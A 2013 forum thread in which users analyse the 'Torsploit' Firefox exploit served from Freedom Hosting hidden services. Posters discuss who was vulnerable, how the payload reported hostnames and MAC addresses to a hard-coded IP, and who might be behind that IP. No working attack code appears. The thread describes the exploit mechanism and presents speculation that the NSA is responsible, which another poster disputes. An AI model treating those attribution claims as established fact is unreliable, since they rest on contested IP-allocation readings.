- Windows machine (do we know yet if system version matters? Win 8 / Win 7 / Vista / XP / NT etc?)
- NoScript set to *allow* scripts
- Visit infected .onion site

Is that correct?

Post by **cryptostorm_admin** » Mon Aug 05, 2013 7:59 pm

pr0tox wrote:Thank you for spending the time to pull these resources together. Just to be sure I understand the analysis... the operating assumption here is that all of this *only* happens if NoScipt was set to enable scripts AND you were running a windows machine, right? There wasn't an exploit to disable noscript?

We've been told by smart folks that the "useragent = NT" isn't actually going to filter for only Windows machines, as the Tor Browser Bundle package all report their useragent as "NT." We've not yet confirmed that, but the folks who told us are much smarter than we are, so we tend to expect it'll prove true.

That would mean it's not unique to Windows, potentially. It is, however, very clearly Firefox 17 (or earlier) specific.

It appears that several criteria *must* be fulfilled for the exploit to work:

- NoScript set to *allow* scripts
- Visit infected .onion site

Is that correct?

We've seen nothing to suggest that the exploit is able to remotely activate javascript and/or bypass noscript, so it does appear that scripting must be available to the browser. Apparently, in recent releases of Tor Browser Bundle, it's turned on by default. This we have not yet confirmed, so that's second-hand info currently.

And, yes, traffic must flow through an "infected" (more accurately, compromised) exit node - which injects the iframe and attendant javascript. Hence, when someone took down Freedomhost and gained backend access to it, they were able to introduce to the malware at the server side. That's the assumption, anyhow; in theory, it'd be possible to remotely exploit the server and install the malware-injecting components without requiring that the entire hosting facility be taken over... or indeed without the owner of the server even knowing it's been exploited.

Note that traversing an exit node is not the same as "visiting an infected site" - one can pass through an evil exit node hosted on a server without "visiting" any server resources directly; that's the nature of Tor. What's been reported thus far on the #torsploit situation is that the malware is being served when people try to visit hidden services; assuming that proves accurate, it means you speak correctly in pointing at "infected sites" and intentional visits to a server resource, rather than simply traversing an evil exit node.

pr0tox · Post by **pr0tox** » Mon Aug 05, 2013 8:39 pm

Cryptocloud_Team wrote:We've been told by smart folks that the "useragent = NT" isn't actually going to filter for only Windows machines, as the Tor Browser Bundle package all report their useragent as "NT." We've not yet confirmed that, but the folks who told us are much smarter than we are, so we tend to expect it'll prove true.

That would mean it's not unique to Windows, potentially. It is, however, very clearly Firefox 17 (or earlier) specific.

That makes sense based on the UA string. But the values being referenced as part of the payload point to specific dwords and dlls, I'm lead to believe the payload was Win specific... and while it's also possible it was just redundant code for multiple OSes... similarly, I trust people "smarter than me" when it comes to this stuff. To that end, I'll take their word on it that the code was nondiscriminatory w/r to OS. After all, the luxury of assumed safety is something no one has anymore.

Cryptocloud_Team wrote:Apparently, in recent releases of Tor Browser Bundle, it's turned on by default. This we have not yet confirmed, so that's second-hand info currently.

Unfortunately, this is a "detail" that many users of Tor missed prior to use: https://www.torproject.org/docs/faq.htm ... iptEnabled

This is the risk we all take with tradeoffs between security and anonymity. You can have more anonymity (increase the size of the flock) or you can have better security. In at least some instances, the two can be mutually exclusive when the majority (flock) are not security conscious.

Cryptocloud_Team wrote:And, yes, traffic must flow through an "infected" (more accurately, compromised) exit node - which injects the iframe and attendant javascript. Hence, when someone took down Freedomhost and gained backend access to it, they were able to introduce to the malware at the server side. That's the assumption, anyhow; in theory, it'd be possible to remotely exploit the server and install the malware-injecting components without requiring that the entire hosting facility be taken over... or indeed without the owner of the server even knowing it's been exploited.

Note that traversing an exit node is not the same as "visiting an infected site" - one can pass through an evil exit node hosted on a server without "visiting" any server resources directly; that's the nature of Tor. What's been reported thus far on the #torsploit situation is that the malware is being served when people try to visit hidden services; assuming that proves accurate, it means you speak correctly in pointing at "infected sites" and intentional visits to a server resource, rather than simply traversing an evil exit node.

I appreciate the distinction you make here -- and I agree that it's an important one to make since many people are not aware of the risks of traffic manipulation over the unencrypted portion of Tor's network (exit nodes). As I understand it, this exploit could have been delivered any of three main ways (or a combination):

1 - Manipulation of http traffic by an "evil exit node" to inject the malicious JS and iframe
2 - Local / backend server-side injection
3 - Remote injection (if the actual server resource was discovered -- which we all know is possible with a little bit of $ and effort) -- being perhaps the most nefarious since it can be site / page specific and without any signs of compromise

But, afaik, (so far) we don't know which of these was actually used. Because of the targeted nature of the attack (one host and I've heard but cannot directly confirm that *not all* FH sites were compromised) it stands to reason that either method 2 or 3 was used. Had traversal of an "evil exit node" been the issue, the problem would have likely been more widespread since exit nodes do not map to specific server resources by design.

Pattern_Juggled · Post by **Pattern_Juggled** » Mon Aug 05, 2013 8:54 pm

The obvious question being asked by many folks following this little conflagration is: why would they make such an obvious "mistake" as leaving the hard-coded IP address in the publicly-visible javascript, just waiting to be 'discovered' by some geek with too much free time on her hands?

Indeed.

The thing is, assuming it's a "mistake" is counter-logical and would make Occam roll in his grave (assuming he was buried, and not burned, or whatever). It's not a mistake. Folks at that level of professional competence aren't going to "accidentally" leave an IP space waggin' in the wind like that - it's not even amateur, it's sub-amateur. There's whole forms of artistry that have evolved around obfuscation of C&C infrastructures, cat-and-mouse games with malware researchers that have extended years, decades. See also: fast flux DNS.

The issue of "attack attribution" is a big one when the big boys talk about nation-level cyber conflict. Tracking back who did what, uncovering false flags, and false-flagged false flags... these guys know that game very, very well. They've forgotten more than us mere mortals are likely to learn in a lifetime.

So it's not a mistake. What then? By definition, it's intentional. That must be true. As such, it's a signal - a public statement of sorts, for those who will read it. What's it saying?

I believe it's saying this:

You kids were thinking that you could use Tor to play your secret games, and that you'd never be found out - you thought your cryptographic goodies were magical armour. Well, Tor's great - it works, basically. But, we're the U.S. federal government... maybe you've heard of us? We have quite a bit of power, and we're flexing our muscles. We can't take out Tor directly, not without more hassle than we think it's worth. But we can infect a whack of hidden services, just like that... and brand everyone involved as child pornographers. Just like that. Who is going to argue with us? And we want you to know it's us - but we aren't going to put a press release out. Nope, we'll just leave a very concise calling card in our javascript, so you get the memo and get it loud and clear. The memo reads: National Security Agency. Maybe you've heard of us...

It's psyops - a fear campaign. FUD on meth. They want to scare folks off Tor, scare folks off all privacy services. They want people to feel vulnerable, insecure, uncertain... they want them to doubt everything they think they know about online security. And sticking the three letters - NSA - on the whole thing does a great job at that, doesn't it?

That's my $0.02, in any case...

pr0tox · Post by **pr0tox** » Mon Aug 05, 2013 9:50 pm

Agree 100.00% on the FUD / psyops speculation. While it's almost certainly not *exclusively* psy ops, the IP address was certainly intentional. One simply does not write hand-obfuscated code like that and then put one's IP:80 in plain view. I think that's an extremely safe assumption. If people think it's a mistake, they have grossly and substantively underestimated their adversary.

There have also been a few additional developments sent out via torproject mailing list: https://lists.torproject.org/pipermail/ ... 00089.html

Some known, some new information. Still some unknowns (e.g. what they will DO with the information they collected), but a good summary nonetheless.

The major points are (tl;dr):

- The FF memory bug that was exploited was patched in the latest release of the TBB (TBB version 2.3.25-10 / included FF version 17.0.7esr) which was released on 6/26/2013 (the day after the FF bug was reported as patched in FF version 17.0.7esr)
- The shell code was Windows-specific and other OSes appear to be safe (Linux, Mac OS, non-Win VM / live CD)
[tab=30]- So the users that were *most* vulnerable to the attack were those using an outdated (just by one version - perhaps a thin margin for some) version of the TBB *and* running Windows *and* allowing JS globally (default setting). It would therefore appear that if you were either (1) running the most current TBB OR (2) not running Windows OR (3) disallowing JS globally (set by user) then you SHOULD be OK. Cannot emphasize "should" enough.
- Somewhat "official" recommendation of turning JavaScript OFF (something they have pandered to for "usability" reasons in the past - 'bout damn time)

Cheers.

{edit: date typo fixed}

Grapp3l · Post by **Grapp3l** » Mon Aug 05, 2013 10:31 pm

OK, so I sort of skimmed over a bunch of the tech stuff, but one thing that I suspect requires better explanation (to me and/or others) is the "use NoScript" solution for browsing on TOR.

If the exitnode is compromised, and there is some zero day (or other) exploit to a browser that is available to the NSA or whoever such as was the case here, isn't it true that at no time can you enable scripts for any page, even one you trust?

This is unlike the general use of NoScript where you can trust some sites but not others (I use NoScript at work, and I may log into my yahoo mail and tell NoScript that ya, I trust Yahoo, then I may read about some nasty website off on some dodgy link, and NoScript will be enabled by default for that): YOU MUST ALWAYS LEAVE ALL JS AS UNTRUSTED.

With the exitnode being compromised, every byte that goes through the link is not trustworthy. Thus the fact that I trust a particular site is irrelevant. That isn't obvious to non-tech folks, and isn't clear in that TOR press release (here https://lists.torproject.org/pipermail/ ... 00089.html )

Just trying to help.

Post by **cryptostorm_admin** » Mon Aug 05, 2013 10:51 pm

procedural note: it is not necessary to register an account here in order to post replies (or start threads, or do most anything, really) here in the forum - just hit the "reply" button, pass the (too-easy currently) CAPTCHA, and you're good to go. 'Guest' posting like that does require manual approval by an admin here, which is done 100% of the time so long as you're not a spambot promoting, say, cheap Gucci handbags or whatever

We'll do our best to approve replies quickly; if there's a delay, please don't assume it's anything intentional - it's not. We simply need to ensure someone comes through to sort out the human posts from the clever spambots, which we do frequently.

This is pretty much a no-censorship forum, so you need not hold back. Don't be gratuitously asshole-ish, but apart from that the overall ethos is of passionate, engaged debate - the most useful comments are often the ones challenging "conventional wisdom" on the part of other posters. Fire away!

~ Cryptocloud Team

Post by **cryptostorm_admin** » Tue Aug 06, 2013 12:16 am

Lots of new folks visiting, and some may not have read our historical coverage of Tor and the good work of the Tor folks, so we wanted to make a short note here. <ahem> without further ado..

We have, as a team and as individuals, genuine and longstanding respect for the Tor Project's people and the work they do. We're not "anti-Tor" (whatever that would mean), and we're not involved in any of the initial work on figuring out what happened with the Tor exploit and hidden services over the weekend. We read about it, just like everyone else, as it unfolded.

In doing a bit of research - with assistance from subject matter experts who know much more about IP allocations than we do - we noticed that the IP address encoded in the Torsploit javascript doesn't point to some obscure (deniable, disposable) machine someplace, nor is it false-flagged to China or some other easy donkey on which a tail can be pinned, nor is it Russian, nor does it have obvious FBI connections. That last, because most all of us were assuming all weekend that the FBI is behind this malware. It's a reasonable assumption, eh?

Only that doesn't seem to be true - at least from this one IP. And, no, one IP doesn't tell a full story - that's quite true. It's a clue, and perhaps a signal. It's part of the larger frame of what's happening, and it ties into the sorts of things we saw in this morning's Reuter's story on DEA misuse of NSA data. We think it does, anyhow, in conceptual terms.

Anyhow, we're not "spreading rumours" about Tor being lame, or any such piffle. Honestly. We've nothing of substance to say whatsoever about the actual exploit and how it relates to Tor's security models; our own network security service embodies a divergent approach (at a different OSI model layer), so what we do know about the nuts and bolts of such things is there - not with Tor. We're not Tor experts; the Tor Project folks are Tor experts. They are really smart, and know lots of good stuff.

But when it comes to noting that the NSA's fingerprints are on this bit of malware targeting Tor? Yeah, we'll speak out and make note of that. It matters. Maybe it's a false flag, or some complex psyop game we can't even begin to understand. We don't claim to have those answers - but perhaps we can help the process of targeting good questions at ripe subjects for analysis. And smart folks can follow up those good questions, learn important stuff, and share it with the rest of us.

So, there you go. If you'd like, read back through our writing on Tor - available here and in our twitter feed - if you'd like to fact-check us on that. Heck, we've even got Jacob's anti-VPN essay posted here in this forum; it's worth the read, take a look at it here.

<end of digression>

~ Cryptocloud Team

mannx · Post by **mannx** » Tue Aug 06, 2013 2:12 am

This looks pretty targeted. They are checking for FF<17 ESR *specifically*, not the actual FF17.0, which was back in 2012 (public exploits exist for FF17, check metasploit). So whoever they were after... they knew used ESR.

Guest User · Post by **Guest User** » Tue Aug 06, 2013 3:03 am

Does anyone know where to find content_1.html? The exploit redirects to that page if the Firefox version is less than 17.

sherlock · Post by **sherlock** » Tue Aug 06, 2013 3:22 am

Great post guys. I've been looking into the following links, reading the actual code (which is very obfuscated):

Very interesting stuff.

Commented Analysis of the Javascript exploit:
http://pastebin.mozilla.org/2777139

Magneto Payload Analysis:
https://code.google.com/p/caffsec-malwa ... ayload.asm

What I thought to be even more spooky/humorous was the definition of Magneto, the comic book character AKA the variable name for the shellcode that phones home. Remind you of anyone?
From Wikipedia (edited by me for relevancy) [https://en.wikipedia.org/wiki/Magneto_(comics)]:

Magneto is a fictional character that appears in comic books published by Marvel Comics. He has most often been the primary villain of the X-Men comics, as well as the TV shows and the films; although in the comics, he has been an ally and even member of the X-Men at times. The character[...]. A powerful mutant with the ability to generate and control magnetic fields, Magneto (born Max Eisenhardt) desired mutants to eventually dominate the human race as he viewed humans as an outdated species that no longer deserves its continual domination over the world. However, writers have since fleshed out his character and origin, revealing him to be a Jewish Holocaust survivor whose actions are driven by the purpose of protecting the mutant race from suffering a similar fate. His role in comics has varied from supervillain to antihero to superhero. His character's early history has been compared with the civil rights leader Malcolm X[8][9] and Jewish ultranationalist Meir Kahane.
Sir Ian[..]. Magneto was ranked number 1 by IGN's Top 100 Comic Book Villains list,[11] was listed number 17 in Wizard's Top 100 Greatest Villains Ever list,[12] and was ranked as the 9th Greatest Comic Book Character Ever in Wizard's list of the 200 Greatest Comic Book Characters of All Time, the second highest villain on that list.[13]

Even more clever, look at the entry for Magneto's "powers and abilities".

Code: Select all

var magneto = \shellcode\

becomes a lot more significant:

Magneto is a mutant with the power to manipulate electromagnetic fields to achieve a wide range of effects.
The primary application of his power is control over magnetism and the manipulation of ferrous and nonferrous metal. While the maximum amount of mass he can manipulate at one time is unknown, he has moved large asteroids several times and effortlessly levitated a 30,000 ton nuclear submarine (demonstration of massive power. His powers extend into the subatomic level (insofar as the electromagnetic force is responsible for chemical bonding), allowing him to manipulate chemical structures and rearrange matter (DWAVE computer?), although this is often a strenuous task. He can manipulate a large number of individual objects simultaneously and has assembled complex machinery with his powers. He can also affect non-metallic and non-magnetic objects to a lesser extent and frequently levitates himself and others. He can also generate electromagnetic pulses of great strength and generate and manipulate electromagnetic energy down to photons. He can turn invisible by warping visible light around his body (Recent advancements in cloaking technologies actually uses this specific method) .[89] Another way in which Magneto frequently uses his power is the projection of force-fields which selectively block out matter and energy. These fields are strong enough to withstand the detonation of multiple thermonuclear weapons, hence Magneto is invulnerable to most harm when surrounded by his shield and can survive in deep space thanks to it. He can also channel his powers through his own body to increase his strength and durability far beyond human limits and has a baseline reaction time 15 times shorter than that of regular humans. On occasion he has altered the behavior of gravitational fields around him, which has been suggested as evidence of the existence of a unified field which he can manipulate. He has demonstrated the capacity to produce a wormhole and to safely teleport himself and others via the wormhole.[90]
Magneto has been frequently depicted as able to resist all but the strongest or most unexpected of telepathic attacks. A number of explanations have been proposed[...]. He has also, on rare occasions, been shown reading other's dreams, issuing telepathic commands, and probing the minds of others.[91] [...]

This is where it gets good:

In addition to his powers, Magneto has many other skills. He is a genius with competence in various fields of advanced science, especially in genetic manipulation, particle physics, engineering, and other fields of technology. He has engineered advanced weaponry, space stations, superpowered humanoid lifeforms, devices that generate volcanoes and earthquakes, devices that block telepathy, and devices that can nullify all mutant powers except for his own. He has reconstructed computerized devices from memory. He is fluent in many human languages and once single-handedly deciphered the unknown language of a lost civilization.[92] He possesses extraordinary skill in "reading" the microexpressions on others' faces and sensing what they are thinking and feeling, whether they are lying, fearful, etc. a skill which he refers to as "taking your enemy's measure."[93] He also is a master strategist and tactician with extensive combat experience, and has often been successful in single-handed combat against entire groups of superhuman adversaries. He also has some military training in hand-to-hand combat and has been shown to be effective with his fists, but he prefers to use his powers when in combat situations.

If that doesn't send some type of message, I don't know what does.

Guest · Post by **Guest** » Tue Aug 06, 2013 6:02 am

I appreciate the distinction you make here -- and I agree that it's an important one to make since many people are not aware of the risks of traffic manipulation over the unencrypted portion of Tor's network (exit nodes). As I understand it, this exploit could have been delivered any of three main ways (or a combination):

1 - Manipulation of http traffic by an "evil exit node" to inject the malicious JS and iframe

You can rule this out because freedomhosting only hosted TOR hidden services, and hidden services are encrypted end-to-end. The traffic never routes out through an unencrypted exit node.

Post by **cryptostorm_admin** » Tue Aug 06, 2013 6:25 am

In discussions with Kevin Poulsen (Wired's highly-respected author, for those unfamiliar with his work, which includes the excellent Kingpin), he has asked whether there might be alternative interpretations of the underlying IP date, presented above, might not instead be that the address is part of a Verizon AS allocation, and only subleased to SAIC and/or that the SAIC connection is out of date. (If we've not got the gist of your questions right, Kevin, please let us know and we'll either correct or simply post verbatim what you've said. We just don't take quotes out of email conversations without prior approval from participants, and post them public - even if they seem innocuous.)

Kevin brings this up in a tweet, which is part of a short conversation with several other folks. Take a peek if you're curious to see the data they're referencing, and how they read it.

As we've shared with Kevin - and certainly as we've said all day, and repeatedly - we're eager for subject matter experts with extensive hands-on, daily expertise regarding these AS-level IP allocations to weigh in with their own clarifications and experience in reading these data. Surely, by now, lots of them have seen the analyses as proposed by us in this thread and from here reported elsewhere. Please, folks, if you are one of those subject matter experts - let us know your "sniff" of these data, and help all of us better understand what we're seeing.

We don't see this as an "argument," nor as a question of what one "side" may or may not "believe." At this point, it's a question of facts - and the facts point us where they will. What the deeper factual context is of this IP address - what it says in a sense - is something that still remains to be fleshed out. Flesh away!

~ Cryptocloud Team

Pattern_Juggled · Post by **Pattern_Juggled** » Tue Aug 06, 2013 7:16 am

Guest User wrote:Does anyone know where to find content_1.html? The exploit redirects to that page if the Firefox version is less than 17.

There's quite a few folks asking about content_1.html, several of them very smart about such matters. Hopefully, folks are out there sleuthing around and a copy of same will manifest itself. Needless to say, that'd be highly illuminating at this point in time...

Post by **cryptostorm_admin** » Tue Aug 06, 2013 8:10 am

The comments in @packetknife's Ars article are, as usual, interesting and challenging and occasionally loopy but always informative. Worth the time to take a look, if you've got a few minutes to spare. Remember: Ars was where Snowden found his moral footing, build his mental toolkit, and became fully the hero he is today (that's our read, in any case - what's undisputed is that he did alot of posting in the Ars comments).

Our own PJ has weighed in with some observations on the possibility of false-flagging, and the Occam analysis of IP attribution. We're going to link to the comment, and - what the heck - echo it into here, so folks don't need to click over to read it if they're not so moved. To wit:

There's folks out there who work with these AS/IP data every day; it would seem appropriate, at this point in developments, for them to weigh in with deep subject expertise. Which has actually been a pending request, throughout the day, on the part of the researchers initially proposing the connection. One example, linking back to numerous other calls for peer review:

The false-flagging scenario is... interesting. But, if someone hard-coded that IP in just for lulz, then all the data "sent" back to it would be going nowhere - and the entire exploit would be purely for show, to make the NSA look bad. Which seems alot, given the effort and resources expended in this gambit. Possible? Yes. Likely? Perhaps not as much.

Also, port 80 on that IP is open and listening... and has been all day. As if it's actually receiving those C&C uploads from the torsploit malware. So if it's a false flag, it found an IP that has only one (publicly) visible port open, doesn't serve any http, and is generally spooky in its behaviour. Possible, but again a big stretch.

One thing seems outside Occam's realm: an "accidental" choice of an IP that just "happened" to be (recently?) assigned publicly to SAIC... when, in fact, this malware being out there targeting Tor simultaneous with a big LEO hit on hidden services hosts in Ireland is just totally an _uncorrelated_ coincidence. In which (unlikely, it seems to us, to a high degree) scenario, the torsploit campaign is being run by a random pizza shop in Arlington who just got assigned that hard-coded Verizon Business IP from AS701. Oops! No LEO involvement, no NSA involvement - just the usual random spooks in Virginia doing stuff for fun on the side. The involvement of LEO seems axiomatic at this point, yes? So it's a question of which spoonful from the alphabet soup, by logical extension...

Whether the NSA fingerprints are crisp, or smudgy - that's an open question. Whether the IP got cycled out of SAIC/NSA-land very recently (conveniently so) and suddenly became "merely a Verizon Business IP" seems just... a real stretch. Because someone's sitting behind that IP - and that someone is part of a multinational, outside-the-US, malware-driven attack on Tor. Again: Occam.

That said, time will tell what the heavy subject matter experts have to add. If it's just some pizza shop moonlighting as a javascript malware development house when the pizza business is slow... boy, they sure got unlucky when that spooky IP was handed to them by Verizon

Guest · Post by **Guest** » Tue Aug 06, 2013 9:10 am

pr0tox wrote: The major points are (tl;dr):

- The FF memory bug that was exploited was patched in the latest release of the TBB (TBB version 2.3.25-10 / included FF version 17.0.7esr) which was released on 6/26/2012 (the day after the FF bug was reported as patched in FF version 17.0.7esr).

Important typo: this was released 6/26/2013, not 2012: https://blog.torproject.org/blog/new-to ... a-packages

NSA mirror · Post by **NSA mirror** » Tue Aug 06, 2013 9:19 am

I think this is a prank or hoax. It could be a hacktivist group too. Of course, Google is always a suspect. 2nd best spy Agency on Earth.

P.S. - NSA, FBI AREEE the good guys (even though they screw up).

Pattern_Juggled · Post by **Pattern_Juggled** » Tue Aug 06, 2013 11:14 am

Guest wrote:Important typo: this was released 6/26/2013, not 2012: https://blog.torproject.org/blog/new-to ... a-packages

Good catch! The typo has been fixed, via edit, in the original post; hopefully, the OP won't feel that we've stepped on toes in doing so.

Pattern_Juggled · Post by **Pattern_Juggled** » Tue Aug 06, 2013 1:14 pm

For those who lust for more granular insight into the Torsploit IP address (where the scraped Tor hidden service user details are being uploaded), there's a hearty ongoing discussion of the most useful methods for underaking this sort of IP allocation analysis continuing to take place in the @baneki twitter account. Rather than attempting to summarize it here, or grab random tweets, it's really most efficient to peek at the timeline and grab what you find interesting. There appear to be some highly qualified, experienced folks participating in the ongoing de-obfuscation work on the underlying IP address.

The disagreement hinges around (and I'm over my head summarizing, but trying anyhow) whether there's enough data to confirm a "blanket" ownership of a big block of IP space by nsa.gov, or whether the NSA presence in this is (merely) indicated by the presences of SAIC records in the results available from some very popular network analysis tools. Those results, in turn, are being argued as perhaps not representative of current IP assignment... but that would indicate the IP was, until quite recently, assigned directly to SAIC. It has been proposed that a "washing" attempt was made, to move the IP to some putatively "outside agency," prior to the Torsploit launch... but that the persistence of historical allocation records has resulted in that washing being largely unsuccessful, as it turns out.

And there's also discussion of LEO capabilities, Occam's ever-present razor, and so on. It's ongoing... so there you go.

Naric · Post by **Naric** » Tue Aug 06, 2013 1:29 pm

I have a software firewall that blocks all unknown apllications from accessing the internet.
Could it have blocked the exploit ? What system process did it use to send the data ?
I really wish I could get my hands on an exploited page and test it.

Dynamoo · Post by **Dynamoo** » Tue Aug 06, 2013 4:30 pm

Hi all,

I believe that the analysis that 65.222.202.53 belongs to SAIC or the NSA is an error. The tool used DomainTools IP explorer to examine the block. DomainTools reports that the block belongs to SAIC, but in fact they only have the first /28 allocated to them from Verizon Business. Really, DomainTools should report the 66.22.202.0/24 block as being Verizon, but it appears to be picking up the wrong data.

This /24 is suballocated to several businesses and organisations (see here) mostly in the Washington or Virginia area, and that does include SAIC, Federated IT (another government contractor) and one US government block. But it also includes a school, ambulance service and some business customers. Mostly the customers are quite large businesses, not mom & pop stores or individuals.

In effect, there is a "ghost block" of 65.222.202.48/29 which is NOT suballocated from Verizon, but is obviously active. It seems that 65.222.202.54 may also have been active for the same purpose as this, but I cannot find any further details on this range. I think all I can tell you is that it is some fairly large Verizon Business customer most likely in the DC or VA area.

There's also a mention of a Robtex report that seems to link nsa.gov to the 65.192.0.0/11 block (which also contains 66.22.202.0/24), but really all that says is that the public-facing nsa.gov website is also hosted on Verizon Business, in a block of about 2 million IPs addresses.

I have some more information here. Note that I am not saying that it ISN'T the NSA, but that the evidence seen so far doesn't support that assertion.

Guest · Post by **Guest** » Tue Aug 06, 2013 6:29 pm

It's Godzilla

pr0tox · Post by **pr0tox** » Tue Aug 06, 2013 7:22 pm

Guest wrote:
I appreciate the distinction you make here -- and I agree that it's an important one to make since many people are not aware of the risks of traffic manipulation over the unencrypted portion of Tor's network (exit nodes). As I understand it, this exploit could have been delivered any of three main ways (or a combination):

1 - Manipulation of http traffic by an "evil exit node" to inject the malicious JS and iframe
You can rule this out because freedomhosting only hosted TOR hidden services, and hidden services are encrypted end-to-end. The traffic never routes out through an unencrypted exit node.

Yes -- we can rule this attack out for hidden services, but not for clearnet over Tor (which is still a huge portion of Tor usage). I should have been more specific in my response.

Pattern_Juggled wrote:
Guest wrote:Important typo: this was released 6/26/2013, not 2012: https://blog.torproject.org/blog/new-to ... a-packages
Good catch! The typo has been fixed, via edit, in the original post; hopefully, the OP won't feel that we've stepped on toes in doing so.

Not at all

In fact, thank you! For my clumsy fingers know not what they do...

On a related note, been seeing a lot of buzz from n00bs about how Tor is "compromised" and varying degrees of post-apocalyptic theories of "we're all screwed" blah blah blah bullshit... and to them, I say: tits or GTFO.

Undoubtedly some are tinfoil-hatters, some are trolls, others are perhaps government-loyal employees and don't know why we must fight as we are. For whatever reasons may motivate them, they are wrong -- Tor is not dead. Nor will it be any time soon. Undoubtedly the Feds have a strong knowledge of Tor, and the takedown of the hidden service host in Ireland likely expanded that knowledge. BUT the fact remains (as it did well before Torsploit) that Tor is not a magic bullet. It is not a swiss army knife for all security and privacy applications. It is an extremely strong tool *when used properly* but there is no substitute for the right tool for the right use at the right time. Use a VPN. Use a firewall. Use amnesiac VMs. Use proxies. Chain 'em if you're so inclined. Use encrypted storage. Use a killswitch. I could go on.

To the n00b FUDers: Get your lazy asses onto duckduckgo or startpage or YaCy or Alta Vista or Lycos or the spy engine of your choice and read the shit that has been out there since before Y2K and stop criticizing shit you don't know about and scaring good people off of legitimate privacy services.

/rant

Dynamoo · Post by **Dynamoo** » Tue Aug 06, 2013 7:56 pm

I thought of a simple version of my earlier post in case some non-techy visitors are viewing the thread.

Think of the network block 65.222.202.0/24 as a Zip code that represents Verizon Street in Washington DC. If you stand at the end of Verizon Street, there's a building belonging to SAIC [number 0-15] who are a defense contractor (they don't own the whole street, however it looks like it from certain angles). Next door to SAIC is a dusty looking building belonging to an Internet Services company [number 16-31], then there's some mystery building belonging to the US government [number 32-47] and next door to *that* is a building with no name on [number 48-55]. That's where the Torsploit data went. Moving on, there's are a couple of factory units and rather oddly a horse stables, then some other offices and factory units, a few other unmarked buildings (some of which are clearly empty) and near the end is Federated IT who work for law enforcement and the government [number 184-191] and finally a school [number 240-255]. Incidentally, a few streets over in a nearby ZIP code is the main office for the NSA. Think of this table as being a directory of the buildings on Verizon Street.

Now, although you can't tell WHO is in number 48-55, you can tell what sort of neighborhood you are in, and you know what sort of thing goes on in Washington DC. You're not standing next to the bus station in Tiraspol, for example. Incidentally, although there were a few lights on a couple of days ago, number 48-55 is now resolutely dark again.

There's no "NSA" sign on this building, and no way to tell for certain who is inside. But you can probably make an educated guess about what sort of organisation might be using the space on that particular street..

Pattern_Juggled · Post by **Pattern_Juggled** » Wed Aug 07, 2013 12:35 am

edited to add: for those curious, the obligatory explanatory discussion

hectic_skeptic · Post by **hectic_skeptic** » Wed Aug 07, 2013 6:16 am

NSA mirror wrote: ...
P.S. - NSA, FBI AREEE the good guys (even though they screw up).

I'd like to think this is true, honestly. I know it's slightly off topic, but I think that since Sept 11 these guys have reached some "moral escape velocity" which has extricated them from all that messy oversight stuff that used to ensure they didn't overstep bounds of basic decency. So while they are the "good guys" and most of them truly believe that -- hell, I actually believe they they have the right intentions, at least -- I think it's clear that they have become dangerously untethered from the sort of "that's going too far" morality that we all personally use while navigating our daily lives.

They cross the lines deliberately now, and while it's for what they see as the Greater Good, it's become unequivocally evil, no two ways about it.

G

walkerjian · Post by **walkerjian** » Wed Aug 07, 2013 7:24 am

Don't panic...
Suppose there is universal surveillance...
Suppose your every secret is not...
Secret

Ask yourself what can put a woolly rat right through a spook?

Not everyday stuff - farts, swearing, sedition, opinions of all sorts, dirty undies, strange acts of 'love'...

that are not so strange, just part of the amazing tapestry of human experience, of life...

The analysts have seen it all, and much much more.
More than you can imagine, they see every day.

So,

Ask yourself what can put a woolly rat right through a spook?

Where the limits of science and technology are presented in 3d surround sound smellovision by the finest, most incontrovertible science and technology money can buy...

Undeniable demonstrations of impossibility rammed right down their throats...

Quite the sucker punch eh?

All that power shown its limits by the very exercise of that power.

Delicious

AAnon · Post by **AAnon** » Wed Aug 07, 2013 7:28 am

Naric wrote:I have a software firewall that blocks all unknown apllications from accessing the internet.
Could it have blocked the exploit ? What system process did it use to send the data ?
I really wish I could get my hands on an exploited page and test it.

The executed code would have run in the tbb-firefox.exe process space.

guesttoo · Post by **guesttoo** » Wed Aug 07, 2013 7:50 am

Only just learned of this whole Torsploit incident. Not much I can add to the technical details discussion but if I may bring up a perhaps relevant side tangent. About one month ago many activists including Luke Rudowski of wearechange posted a video from ireland where he was covering bilderberg a video of an attempted set up of his computer hdd with child pornography from a tormail account that was purporting to be from an associate of his with "images from inside bilderberg"

Thought this was worth mentioning, at least getting that info put out there as I have not seen it discussed yet. and an eerie link with FH being Irish based, bilderberg happening in belfast and the so called NSA/FBI/LEA calling card IP address

Pattern_Juggled · Post by **Pattern_Juggled** » Wed Aug 07, 2013 12:32 pm

Some of the 37,000+ folks who have taken a peek at this thread may have noted that it's situated in the "VPN Leaks.." subforum here at cryptocloud.org. A reasonable question is: wtf?

First, I'd like to quote from the Tor Project's arma, clarifying the root mechanism of fingerprinting used by the torspoit malware:

It grabs your hostname (e.g. "John's PC"), your MAC address (the local hardware address), and then it sends those plus a unique number to the remote website. It's that last step where the attacker can learn your public IP address -- and where a firewall sure would be helpful, to block outgoing non-Tor connections (like how Tails does it).

A follow-on post clarifies that this is done from within the TorBrowser process space - it's not calling out of the browser, it's using the browser to initiate IP communication with the infamous "catcher" IP address discussed in this thread.

In other words, this is a browser leak - or, if you prefer to call it that, a Tor leak. Mostly semantics, there.

One major, serious downside of using Tor (in my personal opinion, to be clear - but this is not as heretical as it might sound to heavy Tor devotees) is that it prefers to operate through individual applications, rather than via the OS or at the network stack or via a virtual NIC or any other way of essentially wrapping all applications inside a comms channel that is in some way secured or protected. That, unfortunately, binds Tor's security level to each and every application making use of it... and we've seen, with torsploit, that there's downsides to that. (yes, you can make Tor run down at the OS level, but it's not intended for that and not designed for that and Tor folks have given public talks strongly discouraging that, fwiw)

The Tor folks have taken alot of heat (also here), and it's about 95% unfair since this is a Firefox bug, after all. The 5% is because TBB didn't include the most current, patched Firefox version... but that's not enough to justify the lynching they're getting in some quarters. Not at all. The Tor folks can be, well, a little bit vicious when it comes to criticizing any and all errors in the implementation of any "competing" security tools; that's not a crime, but it does mean that any error they make is likely to be seen in the light of their perceived hyper-aggressive stance against everyone else.

(personally, I don't find the aggressive stance at all inappropriate and indeed think it's helpful on balance... even though it can cross the line easily into hectoring and thus alienate lots of folks from the "privacy industry" who simply don't want to be subjected to vicious, public, sustained attacks from folks who should be comrades in arms more than inquisitors; that said, I think their criticisms are most commonly spot-on, and any rough edges in the way they're delivered are more than made up for in the tangible positive impact those criticisms have in incentivising the creation & usage of demonstrably better/safer/less buggy tools for everyone)

